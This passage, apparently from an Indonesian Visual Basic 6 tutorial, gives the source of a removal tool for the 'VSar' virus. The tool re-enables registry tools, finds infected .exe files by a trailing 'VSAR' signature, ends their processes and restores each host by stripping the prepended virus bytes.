SetDWORDValue "HKEY_CURRENT_USER\Software\Micro" & _
"soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _
"gistryTools", 0
MsgBox "VSar found on your system, its recommended to scan " & _
"all your drive", vbExclamation
End Sub

Private Sub cmdBrowse_Click()
Dim brwVal As String
brwVal = BrowseForFolder("Select Drive And Directory:")
If Len(brwVal) > 0 Then
txtPath.Text = brwVal
End If
End Sub

Private Sub cmdRepair_Click()
On Error Resume Next
Dim i As Integer
If lstFound.SelCount = 0 Then
MsgBox "No file selected", vbCritical
Else
Do Until lstFound.SelCount = 0
For i = 0 To lstFound.ListCount
If lstFound.Selected(i) = True Then
SetAttr lstFound.List(i), vbNormal
RepairFile lstFound.List(i), 11264, 4, chkBackup.value
lstFound.RemoveItem (i)
End If
Next
Loop
End If
UpdateStatus
End Sub

Private Sub cmdStop_Click()
StopIt = True
End Sub

Private Sub Form_Unload(Cancel As Integer)
StopIt = False
End
End Sub

Private Sub lstFound_Click()
lblStatus.Caption = lstFound.Text
End Sub

Private Sub lstFound_DblClick()
On Error Resume Next
cmdRepair_Click
End Sub

Private Sub UpdateStatus()
lblStatus.Caption = "Total virus found: " & lstFound.ListCount
End Sub

Private Sub cmdScan_Click()
On Error Resume Next
Dim xmount As String
Dim MyCaption As String
MyCaption = Me.Caption
cmdScan.Enabled = False
lstFound.Enabled = False
If Mid(txtPath.Text, 2, 2) <> ":\" Then
MsgBox "Path file not found", vbCritical
GoTo ProcError
End If
lstFound.Clear
StopIt = False
Me.Caption = MyCaption & " - Please Wait..."
SleepEx 1, False
FindFiles txtPath.Text, "*.exe", "VSAR", 1311268, lstFound, _
lblStatus
If lstFound.ListCount > 1 Then
xmount = " files."
Else
xmount = " file."
End If
MsgBox "Scan progress finished, found " & lstFound.ListCount & _
xmount, vbInformation
UpdateStatus
lstFound.Enabled = True
ProcError:
cmdScan.Enabled = True
Me.Caption = MyCaption
End Sub

Private Function RepairFile(MyPath As String, VirSize As Long, _
SignSize As Integer, Backup As Boolean)
Dim all_host As String
Dim buff_hd As String
Dim buff_host As String
Dim hostsize As String
Dim Old As String
WinExit GetFileName(MyPath, True)
SleepEx 1, False
Old = Mid(MyPath, 1, (Len(MyPath) - 4)) & ".bak"
Name MyPath As Old
Open Old For Binary Access Read As #1
hostsize = (LOF(1) - Int(VirSize))
buff_hd = Space(VirSize)
buff_host = Space(hostsize - SignSize)
Get #1, , buff_hd
Get #1, , buff_host
Close #1
Open MyPath For Binary As #2
Put #2, , buff_host
Close #2
If Backup = False Then
Kill Old
End If
End Function

Copy coding dibawah ini dan paste di Editor Module:

Option Explicit

Private Type BrowseInfo
lngHwnd As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
Private Const BIF_RETURNONLYFSDIRS = 1
Private Const MAX_PATH = 260
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem _
As Long)
Private Declare Function lstrcat Lib "Kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "Shell32" (lpbi _
As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "Shell32" _
(ByVal pidList As Long, ByVal lpBuffer As String) As Long

Public Function BrowseForFolder(ByVal strPrompt As String) As _
String
On Error GoTo ehBrowseForFolder
Dim intNull As Integer
Dim lngIDList As Long, lngResult As Long
Dim strPath As String
Dim udtBI As BrowseInfo
With udtBI
.lngHwnd = 0
.lpszTitle = lstrcat(strPrompt, "")
.ulFlags = BIF_RETURNONLYFSDIRS
End With
lngIDList = SHBrowseForFolder(udtBI)
If lngIDList <> 0 Then
strPath = String(MAX_PATH, 0)
lngResult = SHGetPathFromIDList(lngIDList, strPath)
Call CoTaskMemFree(lngIDList)
intNull = InStr(strPath, vbNullChar)
If intNull > 0 Then
strPath = Left(strPath, intNull - 1)
End If
End If
BrowseForFolder = strPath
Exit Function
ehBrowseForFolder:
BrowseForFolder = Empty
End Function

Copy coding dibawah ini dan paste di Editor Module mdlFindFile:

Option Explicit
Global StopIt As Boolean

Public Function FindFiles(MyPath As String, MyWild As String, _
Signature As String, SizeLimit As Long, MyList As ListBox, _
MyLabel As Label)
Dim filename As String
Dim DirName As String
Dim dirNames() As String
Dim nDir As Integer
Dim i As Integer
On Error GoTo FileERR
If StopIt = True Then GoTo FileERR
If Len(MyPath) = 0 Then Exit Function
If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\"
nDir = 0
ReDim dirNames(nDir)
DirName = Dir(MyPath, vbDirectory Or vbHidden)
Do While Len(DirName) > 0
If (DirName <> ".") And (DirName <> "..") Then
If GetAttr(MyPath & DirName) = vbDirectory Or vbHidden Or _
vbReadOnly Or vbSystem Then
dirNames(nDir) = DirName
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
DirName = Dir()
Loop
filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _
vbReadOnly)
Do While Len(filename) <> 0
FindFiles = FindFiles + FileLen(MyPath & filename)
MyLabel.Caption = MyPath & filename
DoEvents
If FileLen(MyPath & filename) > SizeLimit Then GoTo limitz
If CheckSign(MyPath & filename, Signature) = _
True Then
MyList.AddItem MyPath & filename
End If
limitz:
filename = Dir()
Loop
If nDir > 0 Then
For i = 0 To nDir - 1
FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _
MyWild, Signature, SizeLimit, MyList, MyLabel)
Next i
End If
FileERR:
End Function

Function CheckSign(MyPath As String, StrText As String) As _
Boolean
On Error Resume Next
Dim filedata As String
Open MyPath For Binary Access Read As #2
filedata = Space(FileLen(MyPath))
Get #2, , filedata
If Right(filedata, 4) = StrText Then
CheckSign = True
Else
CheckSign = False
End If
Close #2
End Function

Copy coding dibawah ini dan paste di Editor Module mdlGetName:

Option Explicit

Private Function getRight(Key As String, length As Long) As String
Dim NumChar As Long, i As Long
NumChar = Len(Key)
For i = 1 To length
NumChar = InStrRev(Key, "\", NumChar - 1)
If NumChar = 0 Then Exit For
Next i
getRight = Right$(Key, Len(Key) - NumChar)
End Function

Private Function StrCount(stSource As String, ByVal subST1 As _
String) As Long
Dim pos As Long
Dim iCount As Long
pos = 1
Do
pos = pos + Len(subST1)
pos = InStr(pos, stSource, subST1)
If pos > 0 Then
iCount = iCount + 1
End If
Loop While pos > 0
StrCount = iCount
End Function

Public Function GetFileName(Path As String, Extension As _
Boolean) As String
Dim NumChar As Long
GetFileName = getRight(Path, 1)
If Not Extension Then
NumChar = InStrRev(GetFileName, ".")
If NumChar <> 0 Then
GetFileName = Left(GetFileName, NumChar - 1)
End If
End If
End Function

Copy coding dibawah ini dan paste di Editor Module mdlRegistyAPI:

Type FILETIME
lLowDateTime As Long
lHighDateTime As Long
End Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _
"RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _
As String) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _
"RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _
String, ByVal ulOptions As Long, ByVal samDesired As Long, _
phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _
Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias _
"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias _
"RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal _
lpValueName As String, ByVal lpReserved As Long, lpType As _
Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _
hKey As Long, ByVal lpValueName As String, ByVal _
lpReserved As Long, lpType As Long, ByRef lpData As Long, _
lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _
hKey As Long, ByVal lpValueName As String, ByVal Reserved _
As Long, ByVal dwType As Long, ByRef lpData As Long, _
ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByRef lpData As Byte, ByVal cbData As Long) As Long
Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _
"RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String, ByVal lpNewFile As String, ByVal lpOldFile As String) _
As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4&
Const REG_DWORD_BIG_ENDIAN = 5&
Const REG_LINK = 6&
Const REG_MULTI_SZ = 7&
Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9&
Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2&
Const KEY_CREATE_SUB_KEY = &H4&
Const KEY_ENUMERATE_SUB_KEYS = &H8&
Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20&
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or _
KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _
Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
Dim ByteArray() As Byte

Const DisplayErrorMsg = False

Function SetDWORDValue(SubKey As String, Entry As String, value As Long)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _
ByVal sValueName As String)
DeleteKeyValue = False
Dim hKey As Long
Call ParseKey(sKeyName, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _
KEY_WRITE, hKey)
If (rtn = ERROR_SUCCESS) Then
rtn = RegDeleteValue(hKey, sValueName)
If (rtn <> ERROR_SUCCESS) Then
Else
DeleteKeyValue = True
End If
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetDWORDValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetDWORDValue = lBuffer
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function SetBinaryValue(SubKey As String, Entry As String, value _
As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
lDataSize = Len(value)
ReDim ByteArray(lDataSize)
For i = 1 To lDataSize
ByteArray(i) = Asc(Mid$(value, i, 1))
Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _
ByteArray(1), lDataSize)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function GetBinaryValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
lBufferSize = 1
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _
lBufferSize)
sBuffer = Space(lBufferSize)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _
lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetBinaryValue = sBuffer
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function DeleteKey(Keyname As String)
Call ParseKey(Keyname, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _
KEY_WRITE, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegDeleteKey(hKey, Keyname)
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName
Case "HKEY_CLASSES_ROOT"
GetMainKeyHandle = HKEY_CLASSES_ROOT
Case "HKEY_CURRENT_USER"
GetMainKeyHandle = HKEY_CURRENT_USER
Case "HKEY_LOCAL_MACHINE"
GetMainKeyHandle = HKEY_LOCAL_MACHINE
Case "HKEY_USERS"
GetMainKeyHandle = HKEY_USERS
Case "HKEY_PERFORMANCE_DATA"
GetMainKeyHandle = HKEY_PERFORMANCE_DATA
Case "HKEY_CURRENT_CONFIG"
GetMainKeyHandle = HKEY_CURRENT_CONFIG
Case "HKEY_DYN_DATA"
GetMainKeyHandle = HKEY_DYN_DATA
End Select
End Function

Function ErrorMsg(lErrorCode As Long) As String
Select Case lErrorCode
Case 1009, 1015
GetErrorMsg = "The Registry Database is corrupt!"
Case 2, 1010
GetErrorMsg = "Bad Key Name"
Case 1011
GetErrorMsg = "Can't Open Key"
Case 4, 1012
GetErrorMsg = "Can't Read Key"
Case 5
GetErrorMsg = "Access to this key is denied"
Case 1013
GetErrorMsg = "Can't Write Key"
Case 8, 14
GetErrorMsg = "Out of memory"
Case 87
GetErrorMsg = "Invalid Parameter"
Case 234
GetErrorMsg = "There is more data than the buffer has been " & _
"allocated to hold."
Case Else
GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode)
End Select
End Function

Function GetStringValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
sBuffer = Space(255)
lBufferSize = Len(sBuffer)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _
lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
sBuffer = Trim(sBuffer)
GetStringValue = Left(sBuffer, Len(sBuffer) - 1)
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Private Sub ParseKey(Keyname As String, Keyhandle As Long)
rtn = InStr(Keyname, "\")
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then
MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname
Exit Sub
ElseIf rtn = 0 Then
Keyhandle = GetMainKeyHandle(Keyname)
Keyname = ""
Else
Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1))
Keyname = Right(Keyname, Len(Keyname) - rtn)
End If
End Sub

Function CreateKey(SubKey As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegCreateKey(MainKeyHandle, SubKey, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function SetStringValue(SubKey As String, Entry As String, value _
As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _
Len(value))
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function hex2ascii(ByVal hextext As String) As String
On Error Resume Next
Dim Y As Integer
Dim num As String
Dim value As String
For Y = 1 To Len(hextext)
num = Mid(hextext, Y, 2)
value = value & Chr(Val("&h" & num))
Y = Y + 1
Next Y
hex2ascii = value
End Function

Function SetHexValue(SubKey As String, Entry As String, _
value As String)
SetBinaryValue SubKey, Entry, hex2ascii(value)
End Function

Copy coding dibawah ini dan paste di Editor Module mdlWinExit:

Private Declare Function CreateToolhelp32Snapshot Lib "Kernel32" _
(ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "Kernel32" (ByVal _
hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "Kernel32" (ByVal _
hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "Kernel32" (ByVal _
dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "Kernel32" (ByVal _
hProcess As Long, ByVal uExitCode As Long) As Long
Private Const TH32CS_SNAPPROCESS As Long = 2&
Private Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type

Public Function WinExit(sExeNam As String)
Dim lLng As Long, lA As Long, lExCode As Long
Dim procObj As PROCESSENTRY32
Dim hSnap As Long
Dim lRet As Long
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
procObj.dwSize = Len(procObj)
lRet = Process32First(hSnap, procObj)
Do While Process32Next(hSnap, procObj)
If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then
lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID)
lA = TerminateProcess(lLng, lExCode)
Exit Do
End If
Loop
End Function